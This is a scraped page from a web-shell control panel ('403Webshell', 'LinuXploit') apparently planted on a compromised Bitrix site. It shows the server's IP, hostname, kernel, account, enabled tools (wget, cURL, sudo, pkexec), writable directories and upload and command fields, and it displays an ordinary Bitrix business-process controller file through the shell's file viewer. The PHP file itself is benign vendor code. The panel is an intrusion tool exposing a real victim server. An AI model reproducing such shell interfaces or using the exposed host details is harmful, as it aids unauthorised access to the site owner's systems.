403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/bizproc/lib/controller/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/bizproc/lib/controller/script.php
<?php

namespace Bitrix\Bizproc\Controller;

use Bitrix\Bizproc\FieldType;
use Bitrix\Bizproc\Script\Entity\ScriptTable;
use Bitrix\Bizproc\Script\Queue;
use Bitrix\Bizproc\Script\StartScriptResult;
use Bitrix\Main\Localization\Loc;
use Bitrix\Bizproc\Script\Manager;

class Script extends Base
{
	public const START_STATUS_NOT_PERMITTED = 'NOT_PERMITTED';
	public const START_STATUS_NOT_EXISTS = 'NOT_EXISTS';
	public const START_STATUS_NO_DOCUMENTS = 'NO_DOCUMENTS';
	public const START_STATUS_FILL_PARAMETERS = 'FILL_PARAMETERS';
	public const START_STATUS_INVALID_PARAMETERS = 'INVALID_PARAMETERS';
	public const START_STATUS_QUEUED = 'QUEUED';

	public function startAction($scriptId, array $documentIds, array $parameters = [])
	{
		$userId = $this->getCurrentUser()->getId();
		$documentIds = array_unique($documentIds);

		if (!Manager::checkDocumentIdsLimit($documentIds))
		{
			return [
				'status' => static::START_STATUS_NOT_PERMITTED,
				'error' => Loc::getMessage(
					'BIZPROC_CONTROLLER_SCRIPT_ERROR_DOCUMENT_ID_LIMIT',
					[
						'#LIMIT#' => Manager::getDocumentIdLimit(),
						'#SELECTED#' => count($documentIds),
					]
				)
			];
		}

		$script = Manager::getById($scriptId);
		if (!$script)
		{
			return [
				'status' => static::START_STATUS_NOT_EXISTS,
				'error' => Loc::getMessage('BIZPROC_CONTROLLER_SCRIPT_NOT_EXISTS')
			];
		}
		if (!$script->getActive())
		{
			return [
				'status' => static::START_STATUS_NOT_PERMITTED,
				'error' => Loc::getMessage('BIZPROC_CONTROLLER_SCRIPT_CANT_START_INACTIVE')
			];
		}

		if (!Manager::checkQueuesCount($scriptId))
		{
			return [
				'status' => static::START_STATUS_NOT_PERMITTED,
				'error' => Loc::getMessage(
					'BIZPROC_CONTROLLER_SCRIPT_ERROR_QUEUES_LIMIT',
					[
						'#LIMIT#' => Manager::getQueuesLimit(),
						'#CNT#' => Manager::getActiveQueueCountByScriptId($scriptId),
					]
				)
			];
		}

		$script->fill('WORKFLOW_TEMPLATE');
		$tpl = $script->getWorkflowTemplate();
		if (!$tpl)
		{
			return [
				'status' => static::START_STATUS_NOT_EXISTS,
				'error' => Loc::getMessage('BIZPROC_CONTROLLER_SCRIPT_NO_TEMPLATE')
			];
		}

		$templateParameters = $tpl->getParameters();
		if ($templateParameters)
		{
			$parameters = $this->grabParameters($templateParameters, $parameters);

			if (empty($parameters))
			{
				return [
					'status' => static::START_STATUS_FILL_PARAMETERS,
					'parameters' => self::convertTemplateParameters($templateParameters, $tpl->getDocumentComplexType()),
					'documentType' => $tpl->getDocumentComplexType(),
					'scriptName' => $script->getName(),
				];
			}
		}

		$result = Manager::startScript($scriptId, $userId, $documentIds, $parameters);
		if (!$result->isSuccess())
		{
			$error = $result->getErrors()[0];
			if ($error->getCode() === StartScriptResult::CODE_NOT_ENOUGH_RIGHTS)
			{
				return [
					'status' => static::START_STATUS_NOT_PERMITTED,
					'error' => $error->getMessage(),
				];
			}
			if ($error->getCode() === StartScriptResult::CODE_INVALID_PARAMETERS)
			{
				return [
					'status' => static::START_STATUS_INVALID_PARAMETERS,
					'error' => $error->getMessage(),
				];
			}

			return [
				'error' => $error->getMessage(),
			];
		}

		return [
			'status' => static::START_STATUS_QUEUED,
			'queueId' => $result->getData()['queueId'],
		];
	}

	public function deleteAction($scriptId)
	{
		$userId = $this->getCurrentUser()->getId();
		$script = Manager::getById($scriptId);

		if (!$script)
		{
			return [
				'error' => Loc::getMessage('BIZPROC_CONTROLLER_SCRIPT_NOT_EXISTS')
			];
		}

		if (!Manager::canUserEditScript($script->getId(), $userId))
		{
			return [
				'error' => Loc::getMessage('BIZPROC_CONTROLLER_SCRIPT_CANT_DELETE_SCRIPT')
			];
		}

		$result = Manager::deleteScript($scriptId);

		if (!$result->isSuccess())
		{
			return ['error' => Loc::getMessage('BIZPROC_CONTROLLER_SCRIPT_CANT_DELETE_RUNNING_SCRIPT')];
		}

		return ['status' => 'success'];
	}

	public function activateAction(int $scriptId)
	{
		$script = Manager::getById($scriptId);

		if (!$script)
		{
			return [
				'error' => Loc::getMessage('BIZPROC_CONTROLLER_SCRIPT_NOT_EXISTS')
			];
		}

		$userId = $this->getCurrentUser()->getId();
		if (!Manager::canUserEditScript($script->getId(), $userId))
		{
			return [
				'error' => Loc::getMessage('BIZPROC_CONTROLLER_SCRIPT_CANT_UPDATE_SCRIPT')
			];
		}

		Manager::activateScript($scriptId);

		return ['status' => 'success'];
	}

	public function deactivateAction(int $scriptId)
	{
		$script = Manager::getById($scriptId);

		if (!$script)
		{
			return [
				'error' => Loc::getMessage('BIZPROC_CONTROLLER_SCRIPT_NOT_EXISTS')
			];
		}

		$userId = $this->getCurrentUser()->getId();
		if (!Manager::canUserEditScript($script->getId(), $userId))
		{
			return [
				'error' => Loc::getMessage('BIZPROC_CONTROLLER_SCRIPT_CANT_UPDATE_SCRIPT')
			];
		}

		Manager::deactivateScript($scriptId);

		return ['status' => 'success'];
	}

	public function terminateQueueAction(int $queueId)
	{
		$userId = (int)$this->getCurrentUser()->getId();
		$queue = Manager::getQueueById($queueId);

		if (!$queue)
		{
			return [
				'error' => Loc::getMessage('BIZPROC_CONTROLLER_SCRIPT_NOT_EXISTS')
			];
		}

		if ($userId !== $queue->getStartedBy() && !Manager::canUserStartScript($queue->getScriptId(), $userId))
		{
			return [
				'error' => Loc::getMessage('BIZPROC_CONTROLLER_SCRIPT_CANT_TERMINATE')
			];
		}

		if ($queue->getStatus() > Queue\Status::EXECUTING)
		{
			return [
				'error' => Loc::getMessage('BIZPROC_CONTROLLER_SCRIPT_CANT_TERMINATE_FINISHED')
			];
		}

		Manager::terminateQueue($queueId, $userId);
		return ['status' => 'success'];
	}

	public function execQueueAction(int $queueId)
	{
		$queue = Manager::getQueueById($queueId);

		if (!$queue)
		{
			return [
				'error' => Loc::getMessage('BIZPROC_CONTROLLER_SCRIPT_NOT_EXISTS')
			];
		}

		//emulate Stepper step
		$stepper = Queue\Stepper::createInstance();
		$option = [];
		$stepper->setOuterParams([$queueId, $queue->getScriptId()]);
		$result = $stepper->execute($option);

		return ['status' => 'success', 'finished' => ($result === $stepper::FINISH_EXECUTION)];
	}

	public function deleteQueueAction(int $queueId)
	{
		$userId = (int)$this->getCurrentUser()->getId();
		$queue = Manager::getQueueById($queueId);

		if (!$queue)
		{
			return [
				'error' => Loc::getMessage('BIZPROC_CONTROLLER_SCRIPT_NOT_EXISTS')
			];
		}

		if ($userId !== $queue->getStartedBy() && !Manager::canUserStartScript($queue->getScriptId(), $userId))
		{
			return [
				'error' => Loc::getMessage('BIZPROC_CONTROLLER_SCRIPT_CANT_DELETE_QUEUE')
			];
		}

		Manager::deleteQueue($queueId, $userId);
		return ['status' => 'success'];
	}

	private static function convertTemplateParameters(array $parameters, array $documentType): array
	{
		$result = [];
		foreach ($parameters as $id => $parameter)
		{
			$parameter = FieldType::normalizeProperty($parameter);
			$parameter['Id'] = $id;

			if ($parameter['Type'] === 'user')
			{
				$parameter['Default'] = \CBPHelper::UsersArrayToString(
					$parameter['Default'], [], $documentType
				);
			}

			$result[] = $parameter;
		}
		return $result;
	}

	private function getFileParameters(): array
	{
		$parameters = [];

		foreach ($this->request->getFileList()->getValues() as $key => $value)
		{
			if (array_key_exists('name', $value))
			{
				if (is_array($value['name']))
				{
					$ks = array_keys($value["name"]);
					for ($i = 0, $cnt = count($ks); $i < $cnt; $i++)
					{
						$ar = array();
						foreach ($value as $k1 => $v1)
							$ar[$k1] = $v1[$ks[$i]];

						$parameters[$key][] = $ar;
					}
				}
				else
				{
					$parameters[$key] = $value;
				}
			}
		}

		return $parameters;
	}

	/**
	 * @param array $parameters
	 * @return array
	 */
	private function grabParameters(array $templateParameters, array $parameters): array
	{
		$parameters += $this->getFileParameters();

		foreach (array_keys($templateParameters) as $paramId)
		{
			if (!array_key_exists($paramId, $parameters) && $this->request->getPost($paramId) !== null)
			{
				$parameters[$paramId] = $this->request->getPost($paramId);
			}
		}

		return $parameters;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit